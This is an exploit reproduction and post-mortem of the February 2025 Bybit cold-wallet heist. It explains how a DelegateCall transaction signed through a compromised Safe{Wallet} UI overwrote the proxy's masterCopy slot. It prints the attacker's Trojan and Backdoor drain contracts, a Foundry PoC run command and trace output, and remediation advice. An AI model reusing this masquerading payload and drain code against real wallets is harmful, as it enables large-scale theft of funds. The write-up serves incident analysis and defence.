Reproduced Exploit
Bybit Cold-Wallet Heist — `DelegateCall` masterCopy Overwrite of a Gnosis Safe
This was not an exploit of a flaw in the Gnosis Safe contracts. The Safe behaved exactly as designed. It was a supply-chain / signing-infrastructure compromise: the attacker (Lazarus) compromised the Safe{Wallet} front-end / signing flow so that Bybit's authorized signers were shown a benign transa…
Loss
~$1.46–1.5B — 401,346.77 ETH + 8,000 mETH + 15,000 cmETH + 90,375.55 stETH drained from Bybit's ETH multisig…
Chain
Ethereum
Category
Upgradeable / Proxy
Date
Feb 2025
Source & credit. Exploit reproduction, trace data, and analysis adapted from DeFiHackLabs by SunWeb3Sec — an open registry of reproduced on-chain exploits. Standalone Foundry PoC and full write-up: 2025-02-Bybit_exp in the
evm-hack-registrymirror. Upstream DeFiHackLabs PoC:src/test/…/Bybit_exp.sol.
Vulnerability classes: vuln/access-control/secret-exposure · vuln/dependency/unsafe-external-call
Reproduction: the PoC compiles & runs in an isolated Foundry project at this project folder (the umbrella DeFiHackLabs repo contains many unrelated PoCs that do not compile together, so this one was extracted). Full verbose trace: output.txt. Verified vulnerable sources: Proxy.sol (the cold wallet) and GnosisSafe.sol (the v1.1.1 implementation).
Key info#
| Loss | ~$1.46–1.5B — 401,346.77 ETH + 8,000 mETH + 15,000 cmETH + 90,375.55 stETH drained from Bybit's ETH multisig cold wallet (largest crypto theft ever recorded) |
| Vulnerable contract | Bybit cold wallet — a Gnosis Safe Proxy at 0x1Db92e2EeBC8E0c075a02BeA49a2935BcD2dFCF4, delegating to the Safe v1.1.1 GnosisSafe implementation 0x34CfAC646f301356fAa8B21e94227e3583Fe3F5F |
| Victim | Bybit exchange (its 3-of-? Ethereum multisig cold wallet) |
| Attacker EOA | 0x0fa09C3A328792253f8dee7116848723b72a6d2e (Lazarus / TraderTraitor — DPRK) |
| Attack contract (Trojan / delegatecall payload) | 0x96221423681A6d52E184D440a8eFCEbB105C7242 |
| Attack contract (Backdoor / new masterCopy) | 0xbDd077f651EBe7f7b3cE16fe5F2b025BE2969516 |
| Attack tx (change masterCopy) | 0x46deef0f52e3a983b67abf4714448a41dd7ffd6d32d32da69d62081c68ad7882 |
| Drain txs | ETH 0xb61413… · mETH 0xbcf316… · cmETH 0x847b84… · stETH 0xa284a1… |
| Chain / block / date | Ethereum mainnet / forked at 21,895,237 (the change-masterCopy tx is in block 21,895,238) / Feb 21, 2025 |
| Compiler | Safe contracts: Solidity v0.5.14 (proxy ^0.5.3); PoC harness ^0.8.15 |
| Bug class | (Not a smart-contract bug.) Off-chain UI/signing compromise weaponizing the Safe DelegateCall operation to overwrite the proxy's masterCopy storage slot |
TL;DR#
This was not an exploit of a flaw in the Gnosis Safe contracts. The Safe behaved exactly as designed. It was a supply-chain / signing-infrastructure compromise: the attacker (Lazarus) compromised the Safe{Wallet} front-end / signing flow so that Bybit's authorized signers were shown a benign transaction while they actually signed a malicious one.
The malicious transaction was a single execTransaction with operation = DelegateCall to a
purpose-built Trojan contract. Because the Safe executes DelegateCall payloads in the proxy's own
storage context, the Trojan's one-line body — masterCopy = to; — wrote the Backdoor contract's
address into the proxy's storage slot 0. In a Gnosis Safe proxy, slot 0 is masterCopy: the
implementation address every future call delegates to.
After that single, fully-valid (correctly-signed) transaction, the cold wallet was no longer a Safe at
all — it was the attacker's Backdoor contract, which exposed sweepETH() and sweepERC20(). The
attacker then called those to drain 401,346.77 ETH, 8,000 mETH, 15,000 cmETH, and 90,375.55 stETH —
roughly $1.5 billion, the largest single theft in crypto history.
The on-chain trace (output.txt) shows the storage write
slot 0: 0x…34cfac… → 0x…bdd077f6… and then four clean transfers totaling the figures above.
Background — Gnosis Safe proxy architecture#
Bybit's cold wallet is a Gnosis Safe v1.1.1 proxy. The pattern is:
- A tiny
Proxycontract holds only one storage variable,masterCopy(the implementation address), and forwards every call bydelegatecallto it. - The real logic — owners, threshold,
execTransaction, signature checking — lives in the sharedGnosisSafesingleton.
The owner-facing entry point is execTransaction(...)
(GnosisSafe.sol:774): the M owners EIP-712-sign a
transaction (to, value, data, operation, …, nonce); once ≥ threshold valid owner signatures are
supplied, the Safe executes the requested action — either a normal Call or, critically, a
DelegateCall — to an arbitrary target.
A DelegateCall runs the target's code against the Safe's own storage. This is a legitimate,
intentional Safe feature (used for batching libraries like MultiSend). It is also exactly the primitive
needed to overwrite any storage slot of the Safe — including slot 0.
The vulnerable code#
The relevant behavior is the composition of three pieces that are each individually correct.
1. The proxy: slot 0 is masterCopy, and the fallback delegatecalls to it#
// sources/Proxy_1Db92e/Proxy.sol
contract Proxy {
// masterCopy always needs to be first declared variable, to ensure that it is
// at the same location in the contracts to which calls are delegated.
address internal masterCopy; // ← storage slot 0
...
function () external payable {
assembly {
let masterCopy := and(sload(0), 0xffff...ffff) // ← reads slot 0
...
let success := delegatecall(gas, masterCopy, 0, calldatasize(), 0, 0) // ← all logic
...
}
}
}
Whatever address sits in slot 0 is the wallet. Overwrite slot 0 → you replace the entire wallet logic.
2. The Safe: execTransaction will perform a DelegateCall once signatures check out#
// sources/GnosisSafe_34CfAC/GnosisSafe.sol:774
function execTransaction(address to, uint256 value, bytes calldata data,
Enum.Operation operation, ... bytes calldata signatures) external returns (bool success)
{
bytes32 txHash;
{
bytes memory txHashData = encodeTransactionData(to, value, data, operation, ..., nonce);
nonce++;
txHash = keccak256(txHashData);
checkSignatures(txHash, txHashData, signatures, true); // ← must pass owner sigs
}
...
success = execute(to, value, data, operation, ...); // ← then executes
}
// sources/GnosisSafe_34CfAC/GnosisSafe.sol:82
function execute(address to, uint256 value, bytes memory data, Enum.Operation operation, uint256 txGas)
internal returns (bool success)
{
if (operation == Enum.Operation.Call) success = executeCall(to, value, data, txGas);
else if (operation == Enum.Operation.DelegateCall) success = executeDelegateCall(to, data, txGas);
...
}
function executeDelegateCall(address to, bytes memory data, uint256 txGas) internal returns (bool success) {
assembly { success := delegatecall(txGas, to, add(data, 0x20), mload(data), 0, 0) } // ← runs `to`'s
} // code in Safe storage
checkSignatures is sound — it recovers owners via ecrecover over the EIP-712 hash and requires
threshold distinct, increasing owner addresses
(GnosisSafe.sol:849-912). It cannot tell a
"good" transaction from a "bad" one; it only verifies that the owners signed this hash.
3. The attacker's payload: a Trojan whose body writes slot 0#
// from the PoC (test/Bybit_exp.sol) — mirrors the on-chain Trojan 0x96221423…
contract Trojan {
address public masterCopy; // slot 0, same layout as the proxy
function transfer(address to, uint256 amount) public {
masterCopy = to; // ← write the Backdoor addr into slot 0
}
}
The signed transaction's data is transfer(backdoor, 0) and operation = DelegateCall. When the Safe
delegatecalls Trojan.transfer, the assignment masterCopy = to lands in the proxy's slot 0,
because delegatecall preserves the caller's (proxy's) storage. The function is named transfer(address,uint256)
purely to make the malicious payload look like an innocuous ERC-20 transfer in the Safe{Wallet} UI.
After execution slot 0 holds 0xbDd077f6… (the Backdoor), so the wallet's logic is now:
// from the PoC (test/Bybit_exp.sol) — mirrors the on-chain Backdoor 0xbDd077f6…
contract Backdoor {
function sweepETH(address destination) public {
(bool success, ) = destination.call{value: address(this).balance}("");
require(success, "Failed to sweep ETH");
}
function sweepERC20(address token, address destination) public {
IERC20(token).transfer(destination, IERC20(token).balanceOf(address(this)));
}
}
No signatures, no threshold, no nonce — the Backdoor exposes raw drain functions callable by anyone (the attacker called them from its EOA).
Root cause — why it was possible#
The contracts were not vulnerable. The off-chain signing process was:
- The signing UI was compromised. Attribution (zachXBT, SlowMist, Sygnia/Verichains forensics)
pins this on Lazarus injecting malicious JavaScript into the Safe{Wallet} infrastructure (an AWS S3
bucket serving the dApp). Bybit's signers were shown a legitimate-looking ETH transfer in the UI while
the device actually computed and signed the EIP-712 hash of the malicious
DelegateCalltransaction. - "What you see is not what you sign." Hardware wallets / signers blind-signed the structured Safe
transaction hash without independently decoding that
operation = DelegateCallto an unknown contract0x96221423…— a maximally dangerous combination — was being authorized. DelegateCallto an arbitrary target is, by design, total control of the wallet. A single correctly-signedexecTransactionwithoperation = DelegateCallcan rewrite any storage slot of the Safe, including themasterCopypointer that defines the wallet itself. The Safe's signature check guarantees authorization, not intent; nothing forced the signers to understand what they authorized.- The
masterCopyslot has no protection because it cannot have any. It must be writable (upgrades), it is slot 0 by construction, and a delegatecall payload runs with full storage access.
So the on-chain transaction was perfectly valid: ≥ threshold real Bybit-owner signatures over the real
EIP-712 hash. The attack lived entirely in tricking those humans into producing those signatures.
Preconditions#
- Compromised signing path for ≥
thresholdof the cold wallet's owners (achieved via the malicious Safe{Wallet} UI / blind signing). This is the entire attack; everything after is mechanical. - The wallet is a Gnosis Safe proxy whose slot 0 is
masterCopy(true for all Safe proxies). - The Safe supports
Operation.DelegateCallinexecTransaction(true for v1.1.1). - The cold wallet held the funds at the time (401k ETH + the LST/LRT positions).
Reproduction note: the PoC's
testExploit()is able to replay the real attack on a fork because it submits the actual on-chain signatures (thesignaturebytes copied from the real change-masterCopy transaction). It does not forge owner signatures — it cannot, sinceecrecoverrecovers the genuine Bybit owners (0x1F4EB0a9…,0x3Cc3A225…,0xe3dF2cCE…, visible in the trace). The companiontestFakeExploit()instead demonstrates the mechanism on a freshly-created Safe whose owners' private keys the PoC controls, signing the maliciousDelegateCallitself.
Step-by-step attack walkthrough (with on-chain numbers from the trace)#
All numbers are taken directly from output.txt (the testExploit() trace, which replays
the real signed transaction against a mainnet fork at block 21,895,237).
| # | Step | Mechanism | Ground-truth result |
|---|---|---|---|
| 0 | Initial state | Cold wallet is a normal Safe v1.1.1 proxy | slot 0 = 0x34CfAC… (Safe impl); nonce = 71 |
| 1 | Submit signed execTransaction | to = Trojan 0x96221423…, value = 0, data = transfer(0xbDd077f6…, 0), operation = DelegateCall (1), safeTxGas = 45746, signatures = d0afef78…73c1f | checkSignatures passes — ecrecover returns real owners 0x1F4EB0a9…, 0x3Cc3A225…, 0xe3dF2cCE… |
| 2 | Safe delegatecalls the Trojan | executeDelegateCall(Trojan, transfer(...)) runs masterCopy = to in the proxy's storage | slot 0: 0x…34cfac… → 0x…bdd077f6… (the Backdoor); nonce 71 → 72; ExecutionSuccess emitted |
| 3 | Wallet is now the Backdoor | All future calls to the cold wallet delegatecall 0xbDd077f6… | vm.load(slot 0) confirms Backdoor address |
| 4 | Drain ETH | attacker calls sweepETH(attacker) → Backdoor destination.call{value: balance} | 401,346.768858404671846374 ETH sent to attacker (401346768858404671846374 wei) |
| 5 | Drain mETH | sweepERC20(mETH, attacker) → transfer(attacker, balanceOf(wallet)) | 8,000 mETH (8.0e21 wei) |
| 6 | Drain cmETH | sweepERC20(cmETH, attacker) | 15,000 cmETH (1.5e22 wei) |
| 7 | Drain stETH | sweepERC20(stETH, attacker) | 90,375.547907685258392043 stETH (90375547907685258392043 wei; 75,654.96 shares) |
(In the real incident steps 4–7 were four separate transactions, listed in the Key-info table; the PoC batches them into one test for convenience.)
Profit / loss accounting#
| Asset | Amount drained | Note |
|---|---|---|
| ETH | 401,346.77 | sweepETH — entire wallet balance |
| mETH (Mantle Staked Ether) | 8,000 | sweepERC20 |
| cmETH (Mantle Restaked Ether) | 15,000 | sweepERC20 |
| stETH (Lido Staked ETH) | 90,375.55 | sweepERC20 (75,654.96 stETH shares) |
| Total | ≈ 506,722 ETH-equivalent | ≈ $1.46–1.5B at Feb 2025 prices |
The attacker's cost was effectively just gas plus the off-chain operation; there was no capital outlay on-chain. Net profit ≈ the entire loss above.
Diagrams#
Sequence of the attack#
Proxy state evolution (slot 0 = masterCopy)#
Why the DelegateCall is fatal (control-flow)#
Remediation#
This incident is fixed primarily in the signing process, not the contracts:
- Clear / verifiable signing ("WYSIWYS"). Signers must see and confirm the decoded intent —
especially
operation = DelegateCalland the target address — on a trusted device, not the (potentially compromised) dApp UI. Hardware wallets must decode and display Safe transaction fields (Ledger/Safe "clear signing") instead of blind-signing an opaque EIP-712 hash. - Treat
DelegateCallas maximum risk. For cold wallets holding billions, disableDelegateCallentirely or whitelist only audited library targets (e.g., the officialMultiSend). Later Safe versions support aGuardManager/Transaction Guard that can rejectDelegateCallor unknown targets; deploy such a guard. A guard that reverts anyoperation == DelegateCallwould have blocked this transaction outright. - Independent transaction verification. Out-of-band verification (a second, air-gapped tool that re-derives and human-readably decodes the Safe tx hash) before any signer approves, so a UI-only compromise cannot misrepresent the payload.
- Harden the signing supply chain. The root compromise was a tampered Safe{Wallet} front-end. Pin and integrity-check dApp assets, isolate signing devices/networks, and never run the signer UI from an environment that can be silently updated by a third party.
- Operational controls for cold wallets. Withdrawal allow-lists, value/velocity limits, timelocks on
implementation/
masterCopychanges, and monitoring/alerting on anyexecTransactionwithDelegateCallor any change to slot 0.
How to reproduce#
The PoC was extracted into a standalone Foundry project (the umbrella DeFiHackLabs repo has many unrelated
PoCs that fail to compile together under forge test's whole-project build):
_shared/run_poc.sh 2025-02-Bybit_exp -vvvvv
- RPC: an Ethereum mainnet archive endpoint is required (the fork block 21,895,237 is from Feb 2025).
foundry.tomluses an Infura archive endpoint. - Two tests run:
testExploit()replays the real signed change-masterCopy transaction and then drains the wallet (proving the attack with genuine on-chain data);testFakeExploit()reproduces the mechanism on a self-created Safe whose owner keys the PoC controls. - Result: both
[PASS]. The real exploit reports the canonical loss figures.
Expected tail:
Ran 2 tests for test/Bybit_exp.sol:Bybit
[PASS] testExploit() (gas: 261763)
Before attack, Bybit cold wallet 1 masterCopy: 0x34CfAC646f301356fAa8B21e94227e3583Fe3F5F
After attack, Bybit cold wallet 1 masterCopy: 0xbDd077f651EBe7f7b3cE16fe5F2b025BE2969516
Attacker ETH Balance After exploit: 401346 ETH
Attacker mETH Balance After exploit: 8000 ETH
Attacker cmETH Balance After exploit: 15000 ETH
Attacker stETH Balance After exploit: 90375 ETH
[PASS] testFakeExploit() (gas: 884005)
Suite result: ok. 2 passed; 0 failed; 0 skipped
References: zachXBT — https://x.com/zachxbt/status/1893211577836302365 · SlowMist — https://x.com/SlowMist_Team/status/1892963250385592345 · Patrick Collins — https://x.com/PatrickAlphaC/status/1893215304135618759. The largest crypto theft on record (~$1.5B), attributed to DPRK's Lazarus Group; root cause was a compromised Safe{Wallet} signing UI, not a Gnosis Safe contract vulnerability.
Sources & further analysis#
Reproductions & code
- Standalone PoC + full trace: 2025-02-Bybit_exp (evm-hack-registry mirror).
- Upstream DeFiHackLabs PoC:
Bybit_exp.sol. - Attack transaction: view on explorer.
Alerts & third-party analyses
- Original alert / thread: post on X.
- DeFiHackLabs incident explorer: search "Bybit Cold-Wallet Heist".
- Web3Sec X hacked database: search.
- Rekt leaderboard: search.
- Solodit incident search: search.
These dashboards index community alerts tweets, post-mortems, and independent write-ups. Reach them through the protocol name above to cross-check this reproduction against other analyses.